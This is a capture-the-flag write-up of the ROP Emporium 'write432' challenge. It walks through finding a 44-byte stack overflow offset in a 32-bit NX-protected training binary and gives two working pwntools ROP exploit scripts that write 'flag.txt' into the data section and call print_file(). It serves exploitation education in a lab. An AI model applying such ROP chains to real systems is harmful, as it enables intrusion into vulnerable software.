# write432

## <mark style="color:red;">Intro</mark>

today we are going to be tackling the 4th challenge on ROP Emporium which is a series of challenges to teach ROP `Return Oriented Programming`

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FJOAd4gvTLZ7Z0jwqPOpb%2Fimage.png?alt=media&#x26;token=20bb59cb-57c6-4df4-8558-1b29f0a9162d" alt=""><figcaption></figcaption></figure></div>

download the x86 zip file and extract it using unzip, you will get 2 files a 32 bit executable and a flag.txt file which will be revealed if you exploit the binary

## <mark style="color:red;">Basic Executable Reconnaissance</mark>

the executable is not stripped which makes reverse engeneering easier because it doesnt hide function names and the executable is dynamically linked so the libc library which contains many external functions like fprintf() are not loaded within the executable but they dynamically linked at the execution time

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F5jVUi0zyc7THBOIFcxqD%2Fimage.png?alt=media&#x26;token=e2db321d-ca58-40fd-a176-477ea7063716" alt=""><figcaption></figcaption></figure></div>

we have only one security configuration enabled which is NX `No-Execute` also known as `Data Execution Prevention or DEP` marks certain areas of the program as not executable, meaning that stored input or data cannot be executed as code. This is significant because it prevents attackers from being able to jump to custom shellcode that they've stored on the stack or in a global variable.

```
checksec --file=write432 
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F4BU2h66ds2wIZMBoclla%2Fimage.png?alt=media&#x26;token=4659f15d-1837-4344-836e-b1a27183ae9a" alt=""><figcaption></figcaption></figure></div>

let's locate **strings** and **functions** imported in this binary using <mark style="color:blue;">rabin2</mark>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fw7pJm8RRoTxyUreQ5mjW%2Fimage.png?alt=media&#x26;token=a939c2b5-3912-4e64-9705-355897a38752" alt=""><figcaption></figcaption></figure></div>

using ghidra to do more reversing on this binary we find the print\_file() function which takes the string "nonexsistent" as argument so our goal is to write the flag.txt string somewhere and call the print\_file() function with the argument flag.txt so it can be printed&#x20;

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FGOKtzOfjzYlqI2t2z7ou%2Fimage.png?alt=media&#x26;token=8e251daf-46e8-45a0-944a-05a49ef76b48" alt=""><figcaption></figcaption></figure></div>

let's take a look at the sections and their sizes and permissions in order to write our string somewhere there

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FvAQEoOBcXM7Ng0zkcDE8%2Fimage.png?alt=media&#x26;token=dca55c25-c57e-4b68-9f43-c30a9731aeb0" alt=""><figcaption></figcaption></figure></div>

now we will pick one of this sections that meets those conditions :&#x20;

* enough size so we can write our string&#x20;
* the section should be writeable&#x20;

but even if those conditions are meet there is high possibility if the section we have choosed contains other data this may corrupt the binary so using ghidra let's take a look on the sections and find which sections maybe interesting for our purpose , data section is empty so this makes it a good one to write in it our string flag.txt

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FjBhjoopp7IEAmmboCE02%2Fimage.png?alt=media&#x26;token=3d9b3a35-10f5-4079-b03f-0a5863002cb2" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">Locate EIP Offset</mark>

we will use gdb-pwndbg and cyclic from pwntools to generate a pattern and overwrite EIP and then search the pattern that made into EIP to find the offset to the EIP&#x20;

<figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FbIN4FFQS2z1qXWN3So4j%2Fimage.png?alt=media&#x26;token=8b1dc981-a7ac-4337-8161-fd931c7bc507" alt=""><figcaption></figcaption></figure>

let's run the program and send this pattern as input, so laaa is the pattern that made it into the EIP&#x20;

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FNFo0AS5IGwIRPkPYYE0p%2Fimage.png?alt=media&#x26;token=c2cd8e83-3161-41de-9a1b-d15a40a0f127" alt=""><figcaption></figcaption></figure></div>

seaching the pattern and the **`offset is 44`**

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F50yUDZpeeniDkgXd7MwP%2Fimage.png?alt=media&#x26;token=c250a345-66ea-4a3d-b2b8-1b489495c5e8" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">Writing flag.txt in data section</mark>

using gdb-pwndbg list all the functions in the binary and we find a function called usefulgadgets&#x20;

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F2j4g4mMiehIktYOUIFx3%2Fimage.png?alt=media&#x26;token=09289c87-d881-4fa6-a158-3da23c261a07" alt=""><figcaption></figcaption></figure></div>

let's disassemble this function

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F3NHATB3fZAK20U6Pow4x%2Fimage.png?alt=media&#x26;token=58414279-48ff-4903-8a04-99194e97c019" alt=""><figcaption></figcaption></figure></div>

mov DWORD PTR \[edi],ebp; ret; => mov ebp into the memory location pointed by the edi register and then return&#x20;

so the idea here is to find a way to empty the edi register and put the data section address in it and then put the first 4 bytes of the string flag.txt which is flag in the ebp and then use this gadget **`mov DWORD PTR [edi],ebp; ret;`** to write **"flag"** string that is in the ebp in the memory location pointed by the data section address (edi)

lets find the gadget that pops the edi and the ebp using ropper

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FkDOBBWNAyJTmk50ZLIQz%2Fimage.png?alt=media&#x26;token=6f687ba4-8362-489e-b399-1b8da5cdd05b" alt=""><figcaption></figcaption></figure></div>

* pop the edi and put the data section address in it
* pop the ebp and put "flag" inside it
* mov the ebp (flag) to the memory location pointed by the edi (data section)
* and then repeat the same process for writing the last 4 byes ".txt" string&#x20;

## <mark style="color:red;">Exploitation</mark>

```python
from pwn import *

# Set up pwntools for the correct architecture
exe = './write432'
elf = context.binary = ELF(exe, checksec=False)

io = process(exe)

offset = 44
print_file = 0x080483d0
data_addr = 0x0804a018
move_gadget = 0x08048543 # mov dword ptr [edi], ebp; ret;
pop_edi_ebp = 0x080485aa # pop edi; pop ebp; ret; 

payload = flat(
	asm('nop') * offset,
	pop_edi_ebp, 	# pop the edi and ebp
	data_addr,   	# putting the data section address into the edi
	b"flag",	# putting the "flag" string in the ebp
	move_gadget, 	# move the ebp into the memory location pointed by the edi
	pop_edi_ebp,
	data_addr + 4, 	# because we have writed "flag" in the first 4 bytes
	b".txt",	# putting the ".txt" string in the ebp
	move_gadget, 
	print_file,  	# EIP calling the print_file() function 
	0x0,	     	# return pointer address of the EIP function
	data_addr,	# first argument of the print_file() function
)

write("payload", payload)
io.sendlineafter(b'>', payload)

io.interactive()
```

let's run the script and BOOM we've got the flag

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Ft3W0CUDHcRNF6W7VCnw0%2Fimage.png?alt=media&#x26;token=bf0f0bd3-6370-4765-a7f9-8822911a1f14" alt=""><figcaption></figcaption></figure></div>

another exploit using ROP class

```python
from pwn import *

# Set up pwntools for the correct architecture
exe = './write432'
elf = context.binary = ELF(exe, checksec=False)

io = process(exe)

offset = 44
move_gadget = 0x08048543 # mov dword ptr [edi], ebp; ret;
pop_edi_ebp = 0x080485aa # pop edi; pop ebp; ret; 
data_addr = elf.symbols.data_start

rop = ROP(elf)

#write first 4 bytes into the data section
rop.raw([pop_edi_ebp,data_addr,b"flag",move_gadget])
#write second 4 bytes into the data section
rop.raw([pop_edi_ebp,data_addr + 4,b".txt",move_gadget])

rop.print_file(data_addr)

payload = flat(
	asm('nop') * offset,
	rop.chain()
)

write("payload", payload)
io.sendlineafter(b'>', payload)

io.interactive()
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FBsSDIJdIXL4PIQr67SeG%2Fimage.png?alt=media&#x26;token=84337ee7-052c-4b72-92a6-e0beea991463" alt=""><figcaption></figcaption></figure></div>
